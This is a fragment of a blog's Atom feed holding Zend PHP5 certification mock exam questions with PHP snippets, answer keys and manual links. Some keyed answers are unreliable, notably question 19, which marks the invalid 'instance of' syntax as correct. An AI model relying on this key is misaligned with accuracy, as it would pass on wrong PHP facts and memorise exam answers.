&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/internals2.opcodes.instanceof.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/internals2.opcodes.instanceof.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;110. Is this code valid only in PHP 4, in PHP 5, or both?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function myfunction(&amp;amp;$myvalue = null) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;/* ... */&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Both&lt;/li&gt;
&lt;li&gt;PHP 5&lt;/li&gt;
&lt;li&gt;PHP 4&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/functions.arguments.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/functions.arguments.php&lt;/a&gt;: As of PHP 5, default values may be passed by reference. &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/7687087268987667120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam_1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7687087268987667120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7687087268987667120'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam_1.html' title='Zend PHP5 Certification Mock Exam Sample Questions — 2'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-302913152157263746</id><published>2013-02-01T18:25:00.002-08:00</published><updated>2013-02-01T18:26:35.011-08:00</updated><title type='text'>Zend PHP5 Certification Mock Exam Sample Questions — 1</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div id=&quot;entries&quot;&gt;
&lt;h1&gt;
Zend PHP5 Certification Mock Exam Sample Questions — 1&lt;/h1&gt;
&lt;div class=&quot;post-meta&quot;&gt;
&lt;a href=&quot;http://wmdn.ru/category/php/&quot; rel=&quot;category tag&quot; title=&quot;Просмотреть все записи в рубрике «PHP»&quot;&gt;PHP&lt;/a&gt; | 18.04.2011 | &lt;!--4 Comments |--&gt; Метки: &lt;a href=&quot;http://wmdn.ru/tag/zend/&quot; rel=&quot;tag&quot;&gt;zend&lt;/a&gt;  | &lt;a href=&quot;http://wmdn.ru/php/zend-php5-certification-mock-exam-sample-questions-1/#comments&quot;&gt;4 Комментария&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;post&quot;&gt;
&lt;!-- google_ad_section_start --&gt;&lt;br /&gt;
This is the first part of the explanation exam questions to test Zend PHP5 with the correct (imho) answers and useful links on manuals.&lt;br /&gt;
If you have additional thoughts please use comments.&lt;br /&gt;
&lt;span id=&quot;more-1220&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;1. Which of the following tags are an acceptable way to begin a PHP Code block?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;&amp;lt;SCRIPT LANGUAGE=»php»&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;!&lt;/li&gt;
&lt;li&gt;&amp;lt;%&lt;/li&gt;
&lt;li&gt;&amp;lt;?php&lt;/li&gt;
&lt;li&gt;&amp;lt;?&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.basic-syntax.phpmode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.basic-syntax.phpmode.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;2. Which of the following are valid PHP variables?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;@$foo&lt;/li&gt;
&lt;li&gt;&amp;amp;$variable&lt;/li&gt;
&lt;li&gt;${0×0}&lt;/li&gt;
&lt;li&gt;$variable&lt;/li&gt;
&lt;li&gt;$0×0&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.variables.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.variables.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;3. What is the best way to iterate and modify every element of an array using PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;You cannot modify an array during iteration&lt;/li&gt;
&lt;li&gt;for($i = 0; $i &amp;lt; count($array); $i++) { /* … */ }&lt;/li&gt;
&lt;li&gt;foreach($array as $key =&amp;gt; &amp;amp;$val) { /* … */ }&lt;/li&gt;
&lt;li&gt;foreach($array as $key =&amp;gt; $val) { /* … */ }&lt;/li&gt;
&lt;li&gt;while(list($key, $val) = each($array)) { /* … */&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/control-structures.foreach.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/control-structures.foreach.php&lt;/a&gt;: As of PHP 5, you can easily modify array&#39;s elements by preceding $value with &amp;amp;. This will assign reference instead of copying the value.&lt;br /&gt;
&lt;b&gt;4. What is the output of the following PHP code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
define(&#39;FOO&#39;, 10);&lt;br /&gt;
$array = array(10 =&amp;gt; FOO, &quot;FOO&quot; =&amp;gt; 20);&lt;br /&gt;
print $array[$array[FOO]] * $array[&quot;FOO&quot;];&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;FOO&lt;/li&gt;
&lt;li&gt;100&lt;/li&gt;
&lt;li&gt;200&lt;/li&gt;
&lt;li&gt;20&lt;/li&gt;
&lt;li&gt;10&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.define.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/function.define.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.constants.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.constants.php&lt;/a&gt;, FOO is constant, but “FOO” is string&lt;br /&gt;
&lt;b&gt;5. What is the output of the following PHP script?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = 1;&lt;br /&gt;
$b = 2.5;&lt;br /&gt;
$c = 0xFF;&lt;br /&gt;
$d = $b + $c;&lt;br /&gt;
$e = $d * $b;&lt;br /&gt;
$f = ($d + $e) % $a;&lt;br /&gt;
print ($f + $e);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 643.75&lt;/li&gt;
&lt;li&gt; 432&lt;/li&gt;
&lt;li&gt; 643&lt;/li&gt;
&lt;li&gt; 257&lt;/li&gt;
&lt;li&gt; 432.75&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Hexadecimal&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.operators.arithmetic.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.operators.arithmetic.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;6. What combination of boolean values for $a, $b, $c, and $d will result in the variable $number being equal to 3?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = null;&lt;br /&gt;
$b = null;&lt;br /&gt;
$c = null;&lt;br /&gt;
$d = null;&lt;br /&gt;
if($a &amp;amp;&amp;amp; !$b) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!!$c &amp;amp;&amp;amp; !$d) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if($d &amp;amp;&amp;amp; ($a || $c)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!$d &amp;amp;&amp;amp; $b) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$number = 1;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$number = 2;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$number = 3;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$number = 4;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$number = 5;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;false, true, true, true&lt;/li&gt;
&lt;li&gt;true, false, true, false&lt;/li&gt;
&lt;li&gt;true, true, false, false&lt;/li&gt;
&lt;li&gt;false, true, true, false&lt;/li&gt;
&lt;li&gt;false, false, true, false&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.operators.logical.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.operators.logical.php&lt;/a&gt; : $a &amp;amp;&amp;amp; $b – And – TRUE if both $a and $b are TRUE -&amp;gt; ($a &amp;amp;&amp;amp; !$b) TRUE then $a is TRUE and $b is FALSE.&lt;br /&gt;
&lt;b&gt;7. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$string = &quot;111221&quot;;&lt;br /&gt;
for($i = 0; $i &amp;lt; strlen($string); $i++) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$current = $string[$i];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$count = 1;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;while(isset($string[$i + $count]) &amp;amp;&amp;amp; ($string[$i + $count] == $current)) $count++;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$newstring .= &quot;$count{$current}&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$i += $count-1;&lt;br /&gt;
}&lt;br /&gt;
print $newstring;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;312211&lt;/li&gt;
&lt;li&gt;3312212&lt;/li&gt;
&lt;li&gt;11221221&lt;/li&gt;
&lt;li&gt;221131&lt;/li&gt;
&lt;li&gt;3211122&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
Just executing while loop once you will get the answer.&lt;br /&gt;
&lt;b&gt;8. What is the best way to ensure that a user-defined function is always passed an object as its single parameter?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;function myfunction(stdClass $a)&lt;/li&gt;
&lt;li&gt; function myfunciton($a = stdClass)&lt;/li&gt;
&lt;li&gt; Use is_object() within the function&lt;/li&gt;
&lt;li&gt; There is no way to ensure the parameter will be an object&lt;/li&gt;
&lt;li&gt; function myfunction(Object $a)&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.is-object.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.is-object.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;9. What does the following function do, when passed two integer values for $p and $q?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function magic($p, $q) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return ($q == 0) ? $p : magic($q, $p % $q);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Loops infinitely&lt;/li&gt;
&lt;li&gt; Switches the values of $p and $q&lt;/li&gt;
&lt;li&gt; Determines if they are both even or odd&lt;/li&gt;
&lt;li&gt; Determines the greatest common divisor between them&lt;/li&gt;
&lt;li&gt; Calculates the modulus between the two&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;b&gt; 10. The ____ operator is used to test if two values are identical in every way.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; !==&lt;/li&gt;
&lt;li&gt; instanceof&lt;/li&gt;
&lt;li&gt; =&lt;/li&gt;
&lt;li&gt; ==&lt;/li&gt;
&lt;li&gt; ===&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.operators.comparison.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;11. What would go in place of ?????? below to make this script execute without a fatal error?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; quit();&lt;/li&gt;
&lt;li&gt; die();&lt;/li&gt;
&lt;li&gt; stop();&lt;/li&gt;
&lt;li&gt; __halt_compiler();&lt;/li&gt;
&lt;li&gt; exit();&lt;/li&gt;
&lt;/ol&gt;
Answer: B, D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.die.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.die.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.halt-compiler.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.halt-compiler.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.exit.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.exit.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;12. What is the output of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = 010;&lt;br /&gt;
$b = 0xA;&lt;br /&gt;
$c = 2;&lt;br /&gt;
print $a + $b + $c;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 20&lt;/li&gt;
&lt;li&gt; 22&lt;/li&gt;
&lt;li&gt; 18&lt;/li&gt;
&lt;li&gt; $a is an invalid value&lt;/li&gt;
&lt;li&gt; 2&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Octal&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Octal&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Hexadecimal&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;13. What is the output of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = 20;&lt;br /&gt;
function myfunction($b) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$a = 30;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;global $a, $c;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $c = ($b + $a);&lt;br /&gt;
}&lt;br /&gt;
print myfunction(40) + $c;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 120&lt;/li&gt;
&lt;li&gt; Syntax Error&lt;/li&gt;
&lt;li&gt; 60&lt;/li&gt;
&lt;li&gt; 70&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.variables.scope.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.variables.scope.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;14. What would you replace ??????? with, below, to make the string Hello, World! be displayed?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function myfunction() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;???????&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print $string;&lt;br /&gt;
}&lt;br /&gt;
myfunction(&quot;Hello, World!&quot;);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; There is no way to do this&lt;/li&gt;
&lt;li&gt; $string = $argv[1];&lt;/li&gt;
&lt;li&gt; $string = $_ARGV[0];&lt;/li&gt;
&lt;li&gt; list($string) = func_get_args();&lt;/li&gt;
&lt;li&gt; $string = get_function_args()&lt;/li&gt;
&lt;/ol&gt;
Answer:D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.func-get-args.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.func-get-args.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;15. What is the output of the following function?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function &amp;amp;find_variable(&amp;amp;$one, &amp;amp;$two, &amp;amp;$three) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if($one &amp;gt; 10 &amp;amp;&amp;amp; $one &amp;lt; 20) return $one;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if($two &amp;gt; 10 &amp;amp;&amp;amp; $two &amp;lt; 20) return $two;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if($three &amp;gt; 10 &amp;amp;&amp;amp; $three &amp;lt; 20) return $three;&lt;br /&gt;
}&lt;br /&gt;
$one = 2;&lt;br /&gt;
$two = 20;&lt;br /&gt;
$three = 15;&lt;br /&gt;
$var = &amp;amp;find_variable($one, $two, $three);&lt;br /&gt;
$var++;&lt;br /&gt;
print &quot;1: $one, 2: $two, 3: $three&quot;;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 1: 2, 2: 20, 3: 15&lt;/li&gt;
&lt;li&gt; 1: 3, 2:21, 3:16&lt;/li&gt;
&lt;li&gt; 1: 2, 2:21, 3:15&lt;/li&gt;
&lt;li&gt; 1: 3, 2: 20, 3: 15&lt;/li&gt;
&lt;li&gt; 1: 2, 2: 20, 3: 16&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/functions.returning-values.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/functions.returning-values.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.references.return.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.references.return.php&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.references.pass.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.references.pass.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;16. For an arbitrary string $mystring, which of the following checks will correctly determine if the string PHP exists within it?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; if(strpos($mystring, «PHP») !== false)&lt;/li&gt;
&lt;li&gt; if(!strpos($mystring,»PHP»))&lt;/li&gt;
&lt;li&gt; if(strpos($mystring, «PHP») === true)&lt;/li&gt;
&lt;li&gt; if(strloc($mystring, «PHP») == true)&lt;/li&gt;
&lt;li&gt; if(strloc($mystring, «PHP») === false)&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.strpos.php:&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.strpos.php&lt;/a&gt;: This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE, such as 0 or «».&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.types.boolean.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.types.boolean.php&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.operators.comparison.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;17. What are the values of $a in $obj_one and $obj_two when this script is executed?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
class myClass {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;private $a;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function __construct() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$this-&amp;gt;a = 10;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function printValue() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;The Value is: {$this-&amp;gt;a}\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function changeValue($val, $obj = null) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(is_null($obj)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$this-&amp;gt;a = $val;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$obj-&amp;gt;a = $val;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function getValue() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return $this-&amp;gt;a;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
$obj_one = new myClass();&lt;br /&gt;
$obj_two = new myClass();&lt;br /&gt;
$obj_one-&amp;gt;changeValue(20, $obj_two);&lt;br /&gt;
$obj_two-&amp;gt;changeValue($obj_two-&amp;gt;getValue(), $obj_one);&lt;br /&gt;
$obj_two-&amp;gt;printValue();&lt;br /&gt;
$obj_one-&amp;gt;printValue();&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 10,20&lt;/li&gt;
&lt;li&gt; You cannot modify private member variables of a different class&lt;/li&gt;
&lt;li&gt; 20,20&lt;/li&gt;
&lt;li&gt; 10,10&lt;/li&gt;
&lt;li&gt; 20,10&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.visibility.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.visibility.php&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.references.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.references.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;18. What are the three access modifiers that you can use in PHP objects?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; protected&lt;/li&gt;
&lt;li&gt; public&lt;/li&gt;
&lt;li&gt; static&lt;/li&gt;
&lt;li&gt; private&lt;/li&gt;
&lt;li&gt; final&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.visibility.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.visibility.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;19. When checking to see if two variables contain the same instance of an object, which of the following comparisons should be used?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; if($obj1-&amp;gt;equals($obj2) &amp;amp;&amp;amp; ($obj1 instanceof $obj2))&lt;/li&gt;
&lt;li&gt; if($obj1-&amp;gt;equals($obj2))&lt;/li&gt;
&lt;li&gt; if($obj1 === $obj2)&lt;/li&gt;
&lt;li&gt; if($obj1 instance of $obj2)&lt;/li&gt;
&lt;li&gt; if($obj1 == $obj2)&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/internals2.opcodes.instanceof.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/internals2.opcodes.instanceof.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.type.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.type.php&lt;/a&gt;&lt;br /&gt;
